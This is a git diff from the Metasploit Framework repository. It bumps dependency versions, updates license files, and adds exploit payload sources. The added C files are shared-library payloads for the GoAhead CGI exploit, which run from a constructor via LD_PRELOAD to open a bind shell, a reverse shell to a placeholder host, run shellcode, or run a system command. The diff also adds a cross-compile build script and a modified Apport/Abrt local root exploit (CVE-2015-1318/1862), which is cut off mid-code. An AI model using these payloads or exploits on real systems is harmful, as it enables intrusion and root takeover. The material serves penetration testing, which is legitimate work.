nexpose (7.2.0)
|
||||
nokogiri (1.8.2)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
@@ -182,7 +188,7 @@ GEM
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pdf-reader (2.0.0)
|
||||
pdf-reader (2.1.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
@@ -190,41 +196,36 @@ GEM
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
postgres_ext (3.0.1)
|
||||
activerecord (~> 4.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.4)
|
||||
pry (0.11.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
public_suffix (2.0.5)
|
||||
rack (1.6.8)
|
||||
method_source (~> 0.9.0)
|
||||
public_suffix (3.0.2)
|
||||
rack (1.6.10)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.8)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
rails-dom-testing (1.0.9)
|
||||
activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.9)
|
||||
actionpack (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
rails-html-sanitizer (1.0.4)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
railties (4.2.10)
|
||||
actionpack (= 4.2.10)
|
||||
activesupport (= 4.2.10)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rake (12.3.1)
|
||||
rb-readline (0.5.5)
|
||||
rbnacl (4.0.2)
|
||||
ffi
|
||||
rbnacl-libsodium (1.0.13)
|
||||
rbnacl (>= 3.0.1)
|
||||
recog (2.1.12)
|
||||
recog (2.1.19)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.11)
|
||||
rex-arch (0.1.13)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
@@ -232,12 +233,12 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.12)
|
||||
rex-core (0.1.13)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.14)
|
||||
rex-exploitation (0.1.19)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -250,51 +251,51 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.72)
|
||||
rex-powershell (0.1.77)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.2)
|
||||
rex-random_identifier (0.1.4)
|
||||
rex-text
|
||||
rex-registry (0.1.3)
|
||||
rex-rop_builder (0.1.3)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.8)
|
||||
rex-socket (0.1.14)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.15)
|
||||
rex-text (0.2.20)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
robots (0.10.1)
|
||||
rspec (3.6.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-core (3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-expectations (3.6.0)
|
||||
rspec (3.7.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-core (3.7.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-expectations (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-mocks (3.6.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-mocks (3.7.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rails (3.6.1)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rails (3.7.2)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-core (~> 3.7.0)
|
||||
rspec-expectations (~> 3.7.0)
|
||||
rspec-mocks (~> 3.7.0)
|
||||
rspec-support (~> 3.7.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.6.0)
|
||||
rspec-support (3.7.1)
|
||||
ruby-macho (1.1.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
@@ -305,28 +306,27 @@ GEM
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
simplecov (0.15.0)
|
||||
docile (~> 1.1.0)
|
||||
simplecov (0.16.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.2)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.20.0)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.3)
|
||||
tzinfo (1.2.5)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo-data (1.2018.4)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.9)
|
||||
yard (0.9.12)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
@@ -346,4 +346,4 @@ DEPENDENCIES
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.15.4
|
||||
1.16.1
|
||||
|
||||
@@ -1,38 +0,0 @@
|
||||
HACKING
|
||||
=======
|
||||
|
||||
(Last updated: 2014-03-04)
|
||||
|
||||
This document almost entirely deprecated by:
|
||||
|
||||
CONTRIBUTING.md
|
||||
|
||||
in the same directory as this file, and to a lesser extent:
|
||||
|
||||
The Metasploit Development Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
|
||||
|
||||
Common Coding Mistakes
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
|
||||
The Ruby Style Guide
|
||||
https://github.com/bbatsov/ruby-style-guide
|
||||
|
||||
Ruby 1.9: What to Expect
|
||||
http://slideshow.rubyforge.org/ruby19.html
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script against your new and
|
||||
changed modules to do some rudimentary checking for various style and
|
||||
syntax violations.
|
||||
|
||||
Licensing for Your New Content
|
||||
==============================
|
||||
|
||||
By submitting code contributions to the Metasploit Project it is
|
||||
assumed that you are offering your code under the Metasploit License
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
are also fine. We specifically cannot include GPL code. LGPL code
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
accepted for modules.
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
Copyright: 2006-2018, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -15,6 +15,11 @@ License: BSD-3-clause
|
||||
# Last updated: 2013-Nov-04
|
||||
#
|
||||
|
||||
Files: data/exploits/mysql/lib_mysqludf_sys_*.so
|
||||
Copyright: 2007 Roland Bouman
|
||||
2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
@@ -70,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/net/dns.rb lib/net/dns/*
|
||||
Copyright: 2006 Marco Ceresa
|
||||
License: Ruby
|
||||
@@ -594,6 +603,54 @@ License: Artistic
|
||||
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
|
||||
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 1.1, 2000
|
||||
Modifications by CORE Security Technologies
|
||||
.
|
||||
Copyright (c) 2000 The Apache Software Foundation. All rights
|
||||
reserved.
|
||||
.
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions
|
||||
are met:
|
||||
.
|
||||
1. Redistributions of source code must retain the above copyright
|
||||
notice, this list of conditions and the following disclaimer.
|
||||
.
|
||||
2. Redistributions in binary form must reproduce the above copyright
|
||||
notice, this list of conditions and the following disclaimer in
|
||||
the documentation and/or other materials provided with the
|
||||
distribution.
|
||||
.
|
||||
3. The end-user documentation included with the redistribution,
|
||||
if any, must include the following acknowledgment:
|
||||
"This product includes software developed by
|
||||
CORE Security Technologies (http://www.coresecurity.com/)."
|
||||
Alternately, this acknowledgment may appear in the software itself,
|
||||
if and wherever such third-party acknowledgments normally appear.
|
||||
.
|
||||
4. The names "Impacket" and "CORE Security Technologies" must
|
||||
not be used to endorse or promote products derived from this
|
||||
software without prior written permission. For written
|
||||
permission, please contact oss@coresecurity.com.
|
||||
.
|
||||
5. Products derived from this software may not be called "Impacket",
|
||||
nor may "Impacket" appear in their name, without prior written
|
||||
permission of CORE Security Technologies.
|
||||
.
|
||||
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGE.
|
||||
|
||||
License: Apache
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
+2
-2
@@ -84,7 +84,7 @@ rex-arch, 0.1.9, "New BSD"
|
||||
rex-bin_tools, 0.1.4, "New BSD"
|
||||
rex-core, 0.1.11, "New BSD"
|
||||
rex-encoder, 0.1.4, "New BSD"
|
||||
rex-exploitation, 0.1.14, "New BSD"
|
||||
rex-exploitation, 0.1.15, "New BSD"
|
||||
rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.8, "New BSD"
|
||||
rex-sslscan, 0.1.4, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.15, "New BSD"
|
||||
rex-text, 0.2.17, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
robots, 0.10.1, MIT
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
||||
BIN
Binary file not shown.
Binary file not shown.
Executable
+48
@@ -0,0 +1,48 @@
|
||||
#!/bin/bash
|
||||
|
||||
build () {
|
||||
CC=$1
|
||||
TARGET_SUFFIX=$2
|
||||
CFLAGS=$3
|
||||
|
||||
echo "[*] Building for ${TARGET_SUFFIX}..."
|
||||
for type in {shellcode,system,reverse,bind}
|
||||
do ${CC} ${CFLAGS} -Wall -fPIC -fno-stack-protector -Os goahead-cgi-${type}.c -s -shared -o goahead-cgi-${type}-${TARGET_SUFFIX}.so
|
||||
done
|
||||
}
|
||||
|
||||
rm -f *.o *.so *.gz
|
||||
|
||||
#
|
||||
# Linux GLIBC
|
||||
#
|
||||
|
||||
# x86
|
||||
build "gcc" "linux-glibc-x86_64" "-m64 -D OLD_LIB_SET_2"
|
||||
build "gcc" "linux-glibc-x86" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# ARM
|
||||
build "arm-linux-gnueabi-gcc-5" "linux-glibc-armel" "-march=armv5 -mlittle-endian"
|
||||
build "arm-linux-gnueabihf-gcc-5" "linux-glibc-armhf" "-march=armv7 -mlittle-endian"
|
||||
build "aarch64-linux-gnu-gcc-4.9" "linux-glibc-aarch64" ""
|
||||
|
||||
# MIPS
|
||||
build "mips-linux-gnu-gcc-5" "linux-glibc-mips" "-D OLD_LIB_SET_1"
|
||||
build "mipsel-linux-gnu-gcc-5" "linux-glibc-mipsel" "-D OLD_LIB_SET_1"
|
||||
build "mips64-linux-gnuabi64-gcc-5" "linux-glibc-mips64" "-D OLD_LIB_SET_1"
|
||||
build "mips64el-linux-gnuabi64-gcc-5" "linux-glibc-mips64el" "-D OLD_LIB_SET_1"
|
||||
|
||||
# SPARC
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc64" ""
|
||||
build "sparc64-linux-gnu-gcc-5" "linux-glibc-sparc" "-m32 -D OLD_LIB_SET_1"
|
||||
|
||||
# PowerPC
|
||||
build "powerpc-linux-gnu-gcc-5" "linux-glibc-powerpc" "-D OLD_LIB_SET_1"
|
||||
build "powerpc64-linux-gnu-gcc-5" "linux-glibc-powerpc64" ""
|
||||
build "powerpc64le-linux-gnu-gcc-4.9" "linux-glibc-powerpc64le" ""
|
||||
|
||||
# S390X
|
||||
build "s390x-linux-gnu-gcc-5" "linux-glibc-s390x" ""
|
||||
|
||||
gzip -9 *.so
|
||||
rm -f *.o *.so
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,96 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _bind_tcp_shell(void) {
|
||||
|
||||
int sfd, fd, i;
|
||||
struct sockaddr_in addr,saddr;
|
||||
unsigned int saddr_len = sizeof(struct sockaddr_in);
|
||||
|
||||
char *lport = "55555";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
sfd = socket(AF_INET, SOCK_STREAM, 0);
|
||||
setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int));
|
||||
|
||||
saddr.sin_family = AF_INET;
|
||||
saddr.sin_port = htons(atoi(lport));
|
||||
saddr.sin_addr.s_addr = INADDR_ANY;
|
||||
bzero(&saddr.sin_zero, 8);
|
||||
|
||||
if (bind(sfd, (struct sockaddr *) &saddr, saddr_len) == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (listen(sfd, 5) == -1) {
|
||||
close(sfd);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fd = accept(sfd, (struct sockaddr *) &addr, &saddr_len);
|
||||
close(sfd);
|
||||
|
||||
if (fd == -1) {
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_bind_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,84 @@
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include <netinet/in.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
static void _reverse_tcp_shell(void) {
|
||||
|
||||
int fd, i;
|
||||
struct sockaddr_in addr;
|
||||
char *lport = "55555";
|
||||
char *lhost = "000.000.000.000";
|
||||
char *shells[] = {
|
||||
"/bin/bash",
|
||||
"/usr/bin/bash",
|
||||
"/bin/sh",
|
||||
"/usr/bin/sh",
|
||||
"/bin/ash",
|
||||
"/usr/bin/ash",
|
||||
"/bin/dash",
|
||||
"/usr/bin/dash",
|
||||
"/bin/csh",
|
||||
"/usr/bin/csh",
|
||||
"/bin/ksh",
|
||||
"/usr/bin/ksh",
|
||||
"/bin/busybox",
|
||||
"/usr/bin/busybox",
|
||||
NULL
|
||||
};
|
||||
|
||||
fd = socket(PF_INET, SOCK_STREAM, 0);
|
||||
addr.sin_port = htons(atoi(lport));
|
||||
addr.sin_addr.s_addr = inet_addr(lhost);
|
||||
addr.sin_family = AF_INET;
|
||||
|
||||
memset(addr.sin_zero, 0, sizeof(addr.sin_zero));
|
||||
|
||||
for (i=0; i<10; i++) {
|
||||
if (! connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr))) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (i=0; i<3; i++) {
|
||||
dup2(fd, i);
|
||||
}
|
||||
|
||||
/* Keep trying until execl() succeeds */
|
||||
for (i=0; ; i++) {
|
||||
if (shells[i] == NULL) break;
|
||||
execl(shells[i], "sh", NULL);
|
||||
}
|
||||
|
||||
/* Close the connection if we failed to find a shell */
|
||||
close(fd);
|
||||
}
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
_reverse_tcp_shell();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.0");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver mmap,mmap@GLIBC_2.2.5");
|
||||
__asm__(".symver memcpy,memcpy@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
void *mem;
|
||||
void (*fn)();
|
||||
|
||||
unsetenv("LD_PRELOAD");
|
||||
|
||||
mem = mmap(NULL, PAYLOAD_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
|
||||
if (mem == MAP_FAILED)
|
||||
return;
|
||||
|
||||
memcpy(mem, payload, PAYLOAD_SIZE);
|
||||
fn = (void(*)())mem;
|
||||
|
||||
if (! fork())
|
||||
fn();
|
||||
|
||||
exit(0);
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,32 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#ifdef OLD_LIB_SET_1
|
||||
__asm__(".symver system,system@GLIBC_2.0");
|
||||
__asm__(".symver fork,fork@GLIBC_2.0");
|
||||
#endif
|
||||
|
||||
#ifdef OLD_LIB_SET_2
|
||||
__asm__(".symver system,system@GLIBC_2.2.5");
|
||||
__asm__(".symver fork,fork@GLIBC_2.2.5");
|
||||
#endif
|
||||
|
||||
#define PAYLOAD_SIZE 5000
|
||||
unsigned char payload[PAYLOAD_SIZE] = {'P','A','Y','L','O','A','D',0};
|
||||
|
||||
static void _run_payload_(void) __attribute__((constructor));
|
||||
|
||||
static void _run_payload_(void)
|
||||
{
|
||||
int dummy = 0;
|
||||
unsetenv("LD_PRELOAD");
|
||||
if (! fork())
|
||||
dummy = system((const char*)payload);
|
||||
|
||||
exit(dummy);
|
||||
}
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Assume x86_64 Ubuntu 16.04 base system
|
||||
apt-get install build-essential \
|
||||
gcc-5-multilib \
|
||||
gcc-5-multilib-arm-linux-gnueabi \
|
||||
gcc-5-multilib-arm-linux-gnueabihf \
|
||||
gcc-5-multilib-mips-linux-gnu \
|
||||
gcc-5-multilib-mips64-linux-gnuabi64 \
|
||||
gcc-5-multilib-mips64el-linux-gnuabi64 \
|
||||
gcc-5-multilib-mipsel-linux-gnu \
|
||||
gcc-5-multilib-powerpc-linux-gnu \
|
||||
gcc-5-multilib-powerpc64-linux-gnu \
|
||||
gcc-5-multilib-s390x-linux-gnu \
|
||||
gcc-5-multilib-sparc64-linux-gnu \
|
||||
gcc-4.9-powerpc64le-linux-gnu \
|
||||
gcc-4.9-aarch64-linux-gnu
|
||||
|
||||
if [ ! -e /usr/include/asm ];
|
||||
then ln -sf /usr/include/asm-generic /usr/include/asm
|
||||
fi
|
||||
Binary file not shown.
@@ -0,0 +1,143 @@
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <err.h>
|
||||
#include <syslog.h>
|
||||
#include <sched.h>
|
||||
#include <linux/sched.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
//
|
||||
// Apport/Abrt Vulnerability Demo Exploit.
|
||||
//
|
||||
// Apport: CVE-2015-1318
|
||||
// Abrt: CVE-2015-1862
|
||||
//
|
||||
// -- taviso@cmpxchg8b.com, April 2015.
|
||||
//
|
||||
// $ gcc -static newpid.c
|
||||
// $ ./a.out
|
||||
// uid=0(root) gid=0(root) groups=0(root)
|
||||
// sh-4.3# exit
|
||||
// exit
|
||||
//
|
||||
// Hint: To get libc.a,
|
||||
// yum install glibc-static or apt-get install libc6-dev
|
||||
//
|
||||
|
||||
//
|
||||
// Modified for Metasploit. Original exploit:
|
||||
// - https://www.exploit-db.com/exploits/36746/
|
||||
//
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int status;
|
||||
pid_t wrapper;
|
||||
pid_t init;
|
||||
pid_t subprocess;
|
||||
unsigned i;
|
||||
|
||||
// If we're root, then we've convinced the core handler to run us,
|
||||
// so create a setuid root executable that can be used outside the chroot.
|
||||
if (getuid() == 0) {
|
||||
if (chown("sh", 0, 0) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
if (chmod("sh", 04755) != 0)
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
|
||||
// If I'm not root, but euid is 0, then the exploit worked and we can spawn
|
||||
// a shell and cleanup.
|
||||
if (setuid(0) == 0) {
|
||||
system("id");
|
||||
system("rm -rf exploit");
|
||||
execlp("sh", "sh", NULL);
|
||||
|
||||
// Something went wrong.
|
||||
err(EXIT_FAILURE, "failed to spawn root shell, but exploit worked");
|
||||
}
|
||||
|
||||
// It looks like the exploit hasn't run yet, so create a chroot.
|
||||
if (mkdir("exploit", 0755) != 0
|
||||
|| mkdir("exploit/usr", 0755) != 0
|
||||
|| mkdir("exploit/usr/share", 0755) != 0
|
||||
|| mkdir("exploit/usr/share/apport", 0755) != 0
|
||||
|| mkdir("exploit/usr/libexec", 0755) != 0) {
|
||||
err(EXIT_FAILURE, "failed to create chroot directory");
|
||||
}
|
||||
|
||||
// Create links to the exploit locations we need.
|
||||
if (link(*argv, "exploit/sh") != 0
|
||||
|| link(*argv, "exploit/usr/share/apport/apport") != 0 // Ubuntu
|
||||
|| link(*argv, "exploit/usr/libexec/abrt-hook-ccpp") != 0) { // Fedora
|
||||
err(EXIT_FAILURE, "failed to create required hard links");
|
||||
}
|
